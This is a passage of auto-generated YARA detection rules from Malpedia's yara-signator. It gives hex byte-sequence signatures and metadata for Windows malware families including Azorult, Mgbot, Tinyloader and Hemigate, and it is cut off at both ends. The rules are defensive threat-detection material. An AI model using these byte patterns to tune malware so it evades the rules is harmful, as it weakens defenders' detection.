		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? eb7d 33d2 488d8db0030000 41b808020000 e8???????? 33d2 }
		$sequence_1 = { 90 0fb7840da8030000 6689840dd0040000 488d4902 6685c0 75e7 }
		$sequence_2 = { 75f4 4c8d043f 488d9560030000 488d4c2468 e8???????? 488b35???????? }
		$sequence_3 = { 488b05???????? 4833c4 4889842450400000 33c0 }
		$sequence_4 = { 482bfe 0f1f4000 660f1f840000000000 0fb701 }
		$sequence_5 = { 4d894bc8 458a4b28 498943e8 488b8424b0000000 498953b8 498d53b8 4d8943c0 }
		$sequence_6 = { 488d4c2440 ff15???????? 85c0 7551 }
		$sequence_7 = { 488bc8 e8???????? e8???????? 488b0d???????? 488d542450 4881c108020000 c744245004010000 }
		$sequence_8 = { 498bc8 498bd8 e8???????? 33c9 85c0 }
		$sequence_9 = { 4883cfff 0f1f8000000000 664439647802 488d7f01 75f4 4c8d043f 488d9560030000 }
	condition:
		7 of them and filesize < 339968
}

rule MALPEDIA_Win_Flash_Develop_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4688ecaa-1305-56f1-b990-d34d1967b3cd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flash_develop"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flash_develop_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "1b0b49a0bdf8cbe355d0f549d184abf36cc5a8a27ac3e4b70ddcdc76ec6e38f0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 56 33c9 57 0fb68170034200 99 8bf0 }
		$sequence_1 = { 33fa 0fa4f708 c1e608 8934cd40484800 99 }
		$sequence_2 = { c78424c8020000e0b04600 c78424cc02000068df4600 c78424d0020000b40d4700 c78424d4020000503e4700 c78424d8020000446e4700 c78424dc0200000c9d4700 c78424e0020000b0cc4700 }
		$sequence_3 = { 891ccd28184800 892ccd2c184800 0fa4f710 c1e610 33f0 33fa 0fa4f708 }
		$sequence_4 = { 33fa c1e308 892ccd2c204800 8bef 0fa4f708 891ccd28204800 8bde }
		$sequence_5 = { 893ccd44484800 8bf0 8bfa 0fa4f708 }
		$sequence_6 = { 892ccd34204800 8bef 0fa4f708 33fa 891ccd30204800 8bde c1e608 }
		$sequence_7 = { c7842464010000240a4200 c7842468010000043a4200 c784246c01000070694200 c7842470010000cc9a4200 }
		$sequence_8 = { 0fb68170054200 33ea 0fa4dd10 33fa 99 8934cd28304800 }
		$sequence_9 = { 893ccd44404800 83c104 81f900010000 0f8c39f8ffff 5f 5e 5d }
	condition:
		7 of them and filesize < 1111040
}

rule MALPEDIA_Win_Mgbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dd03dc94-bb3a-5cad-8f13-4bbe4b7f90a6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mgbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mgbot_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "7310ce51cc81391fc78e9881bf8f490b2a783d4789728f7661df3e6bdca512d7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8be5 5d c20800 6808020000 e8???????? }
		$sequence_1 = { 6808020000 e8???????? 6804010000 8bf0 }
		$sequence_2 = { 5d c20800 6808020000 e8???????? }
		$sequence_3 = { 6808020000 e8???????? 6804010000 8bf0 6a00 56 e8???????? }
		$sequence_4 = { 5b 8be5 5d c20800 6808020000 }
		$sequence_5 = { 6808020000 e8???????? 6804010000 8bf0 6a00 }
		$sequence_6 = { 0f8553ffffff 5f 33c0 5e }
		$sequence_7 = { 8be5 5d c20800 6808020000 }
		$sequence_8 = { 6808020000 e8???????? 6804010000 8bf0 6a00 56 }
		$sequence_9 = { 5b 8be5 5d c20800 6808020000 e8???????? }
	condition:
		7 of them and filesize < 1677312
}

rule MALPEDIA_Win_Underminer_Ek_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "25419d82-2049-52ba-8173-e803bede2897"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.underminer_ek"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.underminer_ek_auto.yar#L1-L168"
		license_url = "N/A"
		logic_hash = "cef777a253424ada6724fda25a7a7fc2a7d290e0894ee3bdc7ea6fd0d09bd9ea"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 e8???????? 83c404 53 e8???????? 83c404 8b551c }
		$sequence_1 = { 25ffff0000 3d4ee640bb 7404 3bc1 7501 }
		$sequence_2 = { 83c40c 66394e06 894d10 7630 83c710 8b07 }
		$sequence_3 = { 03c3 8901 eb18 3daafc0d7c }
		$sequence_4 = { 7463 8b55f4 8b0495582c4300 f644382848 }
		$sequence_5 = { 8ad0 8adc 88550f 807e0700 7417 0fb6813051fa7e 8a4dff }
		$sequence_6 = { 6a06 53 ff7508 53 ff55f0 85c0 7c07 }
		$sequence_7 = { 0f8535010000 83bd88feffff00 0f85a4040000 807d9a01 }
		$sequence_8 = { 885c012e 8b0495582c4300 804c012d04 46 }
		$sequence_9 = { c745f800000000 0f8444040000 837d3000 0f843a040000 }
		$sequence_10 = { 0f8776050000 52 51 e8???????? 83c408 c745c000000000 }
		$sequence_11 = { c745fc20000000 eb21 8bd0 83e220 }
		$sequence_12 = { 3e58 3e7f3e 98 3e4a }
		$sequence_13 = { 47 8d5101 0f1f8000000000 8a01 41 84c0 }
		$sequence_14 = { 66895dc0 ff7508 895dec ab ff760c 895df8 ab }
		$sequence_15 = { e8???????? 83c410 eb03 8d041a 5b 5d c3 }
	condition:
		7 of them and filesize < 466944
}

rule MALPEDIA_Win_Dadstache_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b2a62577-cb7e-5e21-91ce-710fa4e05555"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dadstache_auto.yar#L1-L167"
		license_url = "N/A"
		logic_hash = "73e72c498fc907fc6a73ed239a2f6863b09267af51df13ccdd17c0fe20abede8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b35???????? 85c9 7403 51 ffd6 a1???????? }
		$sequence_1 = { 6a40 6a00 8d4620 c70600000000 c7460400000000 c7460800000000 }
		$sequence_2 = { 57 6aff 6a00 8d4508 c74424240f000000 }
		$sequence_3 = { 756c ff15???????? 53 53 8d4d08 }
		$sequence_4 = { 83c404 85c0 7428 8bb30c020000 8bf8 }
		$sequence_5 = { 57 8d4304 c6437401 50 53 c7070c000000 c7431400000000 }
		$sequence_6 = { 314608 8b470c 8bf9 31460c 0f1006 }
		$sequence_7 = { 8b45f4 c1e808 0fb6c0 894e04 8bcb c1e918 }
		$sequence_8 = { 8b4604 8d7604 85c0 75ee b801000000 }
		$sequence_9 = { 57 03c3 895508 33ff 8945fc }
		$sequence_10 = { 8b55f4 8b4485b0 85d2 8b56f8 7405 0d00020000 }
		$sequence_11 = { 8b06 85c0 7543 8b46f8 8945ec }
		$sequence_12 = { 8955e0 0f2805???????? 8b703c 03f0 b801000000 }
		$sequence_13 = { c745bc56697274 50 57 c745c075616c41 }
		$sequence_14 = { 51 ff55f4 8bf8 85ff 0f8423ffffff }
		$sequence_15 = { 56 ff7034 ffd7 8945f8 85c0 }
	condition:
		7 of them and filesize < 580608
}

rule MALPEDIA_Win_Unidentified_075_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "147c0d53-aecb-5cae-ac7f-14d52d3c203f"
		date = "2023-07-11"
		modified = "2023-07-15"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_075"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_075_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "10617fdfd534147bc5e0f7e922724e69d45c37af66d21f98c629fa1bac685120"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20230705"
		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
		malpedia_version = "20230715"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c40c 6808020000 8d95dcf6ffff 52 6a00 }
		$sequence_1 = { 8bc1 5e 5d c3 55 8bec ff15???????? }
		$sequence_2 = { 52 e8???????? 6a00 8d85ace6ffff 50 8d8dbceeffff 51 }
		$sequence_3 = { 83c40c 33c0 668985d4f4ffff 6806020000 }
		$sequence_4 = { 837d9400 740d 8b55fc c7821002000000000000 837df000 }
		$sequence_5 = { 52 ff15???????? 83c410 b853000000 66898550ffffff }
		$sequence_6 = { 33c0 668945d0 8d4dd4 51 }
		$sequence_7 = { 742c 8b4514 85c0 7421 }
		$sequence_8 = { 85c0 0f8431ffffff b901000000 85c9 0f8515ffffff }
		$sequence_9 = { 81eca4000000 894dfc c745f400000000 c745f800000000 }
	condition:
		7 of them and filesize < 393216
}

rule MALPEDIA_Win_Moriagent_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e0e8552c-2a56-5880-9b39-e228e0ca2c36"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moriagent_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "f619de3127e38febd0ef7c0dec89df2ad37cda3381275176b5456add134d4a40"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c408 8b55c4 8b45f0 40 }
		$sequence_1 = { 47 8b048500844200 885c012e 3bfa 7cea 8b7ddc }
		$sequence_2 = { c785e4efffff00000000 c785e8efffff00000000 c785ecefffff00000000 83fa10 722f }
		$sequence_3 = { 3bc1 7767 85ff 7425 41 8d0442 56 }
		$sequence_4 = { eb4c 8b4714 8bd9 2bda 2bc2 3bd8 7727 }
		$sequence_5 = { 8bc1 c785e4fdfffffc010000 0f43d6 c785f0fdffff07000000 c785f4fdffff01800000 2bd0 0f1f4000 }
		$sequence_6 = { 8d8dccefffff e8???????? 8d8dd4efffff e8???????? }
		$sequence_7 = { 8b5d08 8b048500844200 56 57 8bfb 8b440818 }
		$sequence_8 = { 83c408 85c0 742a f68568feffff10 7521 8b4704 8d4da8 }
		$sequence_9 = { 7467 8b45e4 3bc8 7713 837de010 8bc7 894f10 }
	condition:
		7 of them and filesize < 720896
}

rule MALPEDIA_Win_Listrix_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ae5c6849-5b5a-5879-a75b-5bc936755797"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.listrix_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "a979992135eb70be35ff3f9edeaffae4a914b7c2e246324beb1e16b7e069112c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ff15???????? 85f6 0f8492000000 0fb78deef7ffff }
		$sequence_1 = { 51 52 50 8d8dc0f5ffff 51 }
		$sequence_2 = { 55 8bec 33c0 8b4d08 3b0cc5186a4000 740a 40 }
		$sequence_3 = { ebe6 c745e060614000 817de064614000 7311 8b45e0 8b00 85c0 }
		$sequence_4 = { 817de45c614000 7311 8b45e4 8b00 85c0 }
		$sequence_5 = { 8b5510 8d46ff 50 8b8584f5ffff 51 52 }
		$sequence_6 = { 52 ff15???????? 68???????? 8d85f4f7ffff 50 }
		$sequence_7 = { 668b4c4310 66890c457ca74000 40 ebe8 33c0 8945e4 3d01010000 }
		$sequence_8 = { 7718 0f85b6000000 8b85a8f5ffff 3b857cf5ffff 0f86a4000000 0fb78deef7ffff }
		$sequence_9 = { 52 ff15???????? 83c428 8d85f4fbffff 50 }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Tinyloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7c6fcb6a-6aaa-5e44-ad0b-2dda057bc513"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinyloader_auto.yar#L1-L224"
		license_url = "N/A"
		logic_hash = "a1e9a6fc8f29154daa76951045f8f779a6cee8d3fa483fe0d801eb90e6460914"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f7d2 f7d1 5b 89d0 c1c010 6689c8 90 }
		$sequence_1 = { 8b1d???????? 90 8998f8070000 90 }
		$sequence_2 = { 83ec20 48 8d0db7130000 48 }
		$sequence_3 = { 90 29d8 90 31db }
		$sequence_4 = { 895838 90 48 89c6 90 48 0500400100 }
		$sequence_5 = { 8b5d00 66894308 6a10 ffb5a8050000 }
		$sequence_6 = { 637574 6541 0050ff 15???????? c705????????00010000 68???????? 68???????? }
		$sequence_7 = { 81fb04030000 730d 90 83c004 90 83c304 }
		$sequence_8 = { 90 0500400100 90 31db 90 90 }
		$sequence_9 = { 0500080000 894520 ffb5a0050000 6802020000 ff15???????? }
		$sequence_10 = { 8998f8070000 90 48 8b1d???????? 90 }
		$sequence_11 = { 48 8d0dedffffff ff15???????? 48 83c420 }
		$sequence_12 = { c70000000000 c7855808000000000000 8b5d00 039d58080000 6a00 }
		$sequence_13 = { 83ec20 48 c7c100000000 48 8d15e6110000 }
		$sequence_14 = { 90 8bbb97114000 90 8938 90 }
		$sequence_15 = { 8b8540050000 8b5d00 894308 8b85f8070000 8b5d00 894304 }
		$sequence_16 = { 3b8558080000 7402 ebb3 31c0 31db 31c9 31d2 }
		$sequence_17 = { 8b1d???????? 90 895830 90 8b1d???????? 90 895838 }
		$sequence_18 = { 8b85f8070000 8b5d00 894304 8b5d00 81c300040000 31c0 }
		$sequence_19 = { 8b4500 83c00c ffd0 31db 8b4500 8b8000040000 }
		$sequence_20 = { 8d0dea0e0000 ff15???????? 48 83c420 48 8d35d90e0000 48 }
		$sequence_21 = { 01da 83c20c 310a 3b8558080000 7308 83c004 }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Azorult_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a0ff14cf-728e-57b5-b780-187246815def"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.azorult_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "b964bdc09887e46f350cee1282648afbe20db6ec0890aa267b03a312df1100f6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8901 8bc1 c7410410000000 5d c20400 55 8bec }
		$sequence_1 = { ff15???????? 8b4dc8 8bd1 81e20000ff00 8bc1 c1e810 0bd0 }
		$sequence_2 = { 83c410 5e c9 c3 55 8bec 81eccc060000 }
		$sequence_3 = { 8d9adcbc1b8f 8b702c 03d9 337018 8bcf }
		$sequence_4 = { 6a00 6a00 ff7508 ff7510 ff15???????? 85ff 7405 }
		$sequence_5 = { e8???????? 84c0 0f8444010000 8d45d8 50 8d4dfc e8???????? }
		$sequence_6 = { 83fa04 1bc0 83e004 8b443814 d3e8 884415f8 42 }
		$sequence_7 = { 68???????? 680000baba 50 50 e8???????? a1???????? 85c0 }
		$sequence_8 = { c3 55 8bec 81ec2c020000 56 8d85d8fdffff 33f6 }
		$sequence_9 = { 80f920 74f4 80f97d 750c 8d4201 8907 8bc3 }
	condition:
		7 of them and filesize < 1073152
}

rule MALPEDIA_Win_Hamweq_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "000e8959-0108-5c25-ad30-8e891fdada1d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hamweq_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "5208d20513fd6a1e5edd1bc25c2bf088fa1869066d91ad8af3cf21319dcb16db"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff500c 56 e8???????? 8b06 }
		$sequence_1 = { 8d8500feffff 50 ff5148 8b4e08 8b06 ff7138 }
		$sequence_2 = { ff5744 50 8d8500feffff 50 }
		$sequence_3 = { 51 ff5038 b906030000 33c0 80bdfcfdffff5c }
		$sequence_4 = { 0f847a030000 85c0 0f8472030000 ff35???????? ff75f8 ffd6 }
		$sequence_5 = { 50 8d45e0 50 ff750c 56 e8???????? 83c410 }
		$sequence_6 = { ff7508 ff5020 8b4e08 8b06 ffb180010000 8d8decfeffff 51 }
		$sequence_7 = { 8b0e ff30 33db ff5144 }
		$sequence_8 = { 3ad0 742d 8b4c2414 8bd6 2bd1 8a19 3ad8 }
		$sequence_9 = { 33c0 8dbdfcfdffff f3ab 8b4e08 8b06 ffb1e8000000 8d8dfcfdffff }
	condition:
		7 of them and filesize < 24576
}

rule MALPEDIA_Win_Moriya_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "59d11a0a-17d5-591e-bce9-2635239237cd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriya"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moriya_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "502cc93b2e63f3afc69dfd0a7f0cef3fdb24356c38e271e56341bfbf7336c1de"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 4881c490000000 5b c3 4055 }
		$sequence_1 = { 48833d????????00 7405 e8???????? 48833d????????00 7417 488d4dd0 ff15???????? }
		$sequence_2 = { 488b9c2490000000 0f57c0 4d8bf0 488bea 0f1103 0f114310 48894320 }
		$sequence_3 = { 66480f6ec2 0f16c0 0f1101 4c03c1 4883c110 4883e1f0 }
		$sequence_4 = { 488945d8 488d442420 f30f7f45e4 c745e003500000 0f1005???????? }
		$sequence_5 = { ff15???????? 488b0d???????? 488d842498000000 4889442430 33d2 48895c2428 }
		$sequence_6 = { 488364243800 498bd8 488364245000 488bfa 488bf1 33d2 }
		$sequence_7 = { 4881c490000000 5b c3 4055 53 56 57 }
		$sequence_8 = { 4983f84f 7350 4d8bc8 4983e1f8 }
		$sequence_9 = { 0f100d???????? 83a5a000000000 488d542460 488b0d???????? 4533c9 f30f7f45a0 }
	condition:
		7 of them and filesize < 99328
}

rule MALPEDIA_Win_Get2_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7a0226d0-f79d-5836-a967-6167cb32e47b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.get2"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.get2_auto.yar#L1-L165"
		license_url = "N/A"
		logic_hash = "848d65ded147178f011a1ef08b3d4ca3bdaaa4bd6535c16bb052e44171fc3a23"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8b4508 8be5 5d c20400 68d0000000 b8???????? }
		$sequence_1 = { 0f849e000000 807d0c00 0f859a000000 f6c104 }
		$sequence_2 = { 8bf1 8975d0 33ff 8975cc }
		$sequence_3 = { 8b4508 660f6ec1 f30fe6c0 c1e91f 51 51 660f6ec8 }
		$sequence_4 = { 8d55d8 8d8d24ffffff e8???????? 59 8bc8 }
		$sequence_5 = { 83e017 89410c 8b4910 23c8 0f849e000000 807d0c00 }
		$sequence_6 = { 895dfc e8???????? c645fc02 eb0b 8d45d8 }
		$sequence_7 = { 897e04 897e08 33db c745ec07000000 }
		$sequence_8 = { 488d7b38 488d05a6020200 483947f0 741a 488b0f 4885c9 }
		$sequence_9 = { 4863c8 488b4308 48894cd008 483b6b10 0f83ba010000 }
		$sequence_10 = { 488d8c24f0020000 e8???????? 90 418bd5 488d8c2470040000 }
		$sequence_11 = { 488d4c2450 e8???????? 498bcc e8???????? 4c8b642468 }
		$sequence_12 = { eb0f 49394e10 720b bb02000000 895c2420 }
		$sequence_13 = { 440f45e8 410fb6dd 4c8b7df0 498bcf ff15???????? eb0d }
		$sequence_14 = { 488d0503b20200 488bd9 488901 f6c201 740a }
		$sequence_15 = { 4c8d0510e00100 488d15c9a40100 e8???????? 488bd8 }
	condition:
		7 of them and filesize < 720896
}

rule MALPEDIA_Win_Soundbill_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fc6eb91d-5824-524d-bbb8-b5d2b50f1e71"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbill"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soundbill_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "23246153789cca2dc7fd1119b61492f6729a30eebbbf9247088b38725417e92a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 56 4881ecb0030000 488b05???????? 4833c4 4889842470030000 488b8424f0030000 }
		$sequence_1 = { 488b8da0000000 e8???????? 4883c420 5d c3 488d8a70000000 e9???????? }
		$sequence_2 = { 750e 85c9 0f95c0 8806 83f901 760c eb03 }
		$sequence_3 = { 48894a08 488d4808 e8???????? 488d0579b00200 488903 488bc3 4883c420 }
		$sequence_4 = { f20f5ce9 f2410f1004c1 488d15562b0100 f20f1014c2 }
		$sequence_5 = { c644243001 44397c2440 7f10 ff442434 4885c9 7426 c644243c01 }
		$sequence_6 = { 483305???????? 488d1516b70200 488bcb 488905???????? ff15???????? 483305???????? }
		$sequence_7 = { ffd7 4c8bf0 4885c0 751e 498bcf ff15???????? 488bce }
		$sequence_8 = { 418d542416 488d0d3f4b0100 e8???????? 488b0b 66443921 488bcb 744d }
		$sequence_9 = { 8b4018 25c0010000 83f840 0f84e7010000 }
	condition:
		7 of them and filesize < 973824
}

rule MALPEDIA_Win_Hemigate_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7f247b7a-51fa-56b6-b5ca-706ac00fbf7d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hemigate"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hemigate_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "05c380bd4c229bd57061005a2f77b730cb7f642aa2a7c3aed0193470cbd60a00"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85f6 0f8597000000 8bd3 8d4ddc e8???????? 8bf0 85f6 }
		$sequence_1 = { c1e208 0bd1 0fb64f06 3155a8 0fb65707 c1e208 0bd1 }
		$sequence_2 = { c3 ff75f4 ff36 ff15???????? 8bf0 83c408 85f6 }
		$sequence_3 = { 8b550c 8d45d4 50 8d8fa8000000 e8???????? 8b55cc 8d8fb8110100 }
		$sequence_4 = { 83f801 0f85b8000000 ffb55cf7ffff ffd3 0fb7c0 8d9554f7ffff 6a02 }
		$sequence_5 = { c1c919 33c8 8b75ec 8bc7 8b7de8 c1c806 33c8 }
		$sequence_6 = { c1e903 f7e1 56 c1ea03 33f6 8d0492 03c0 }
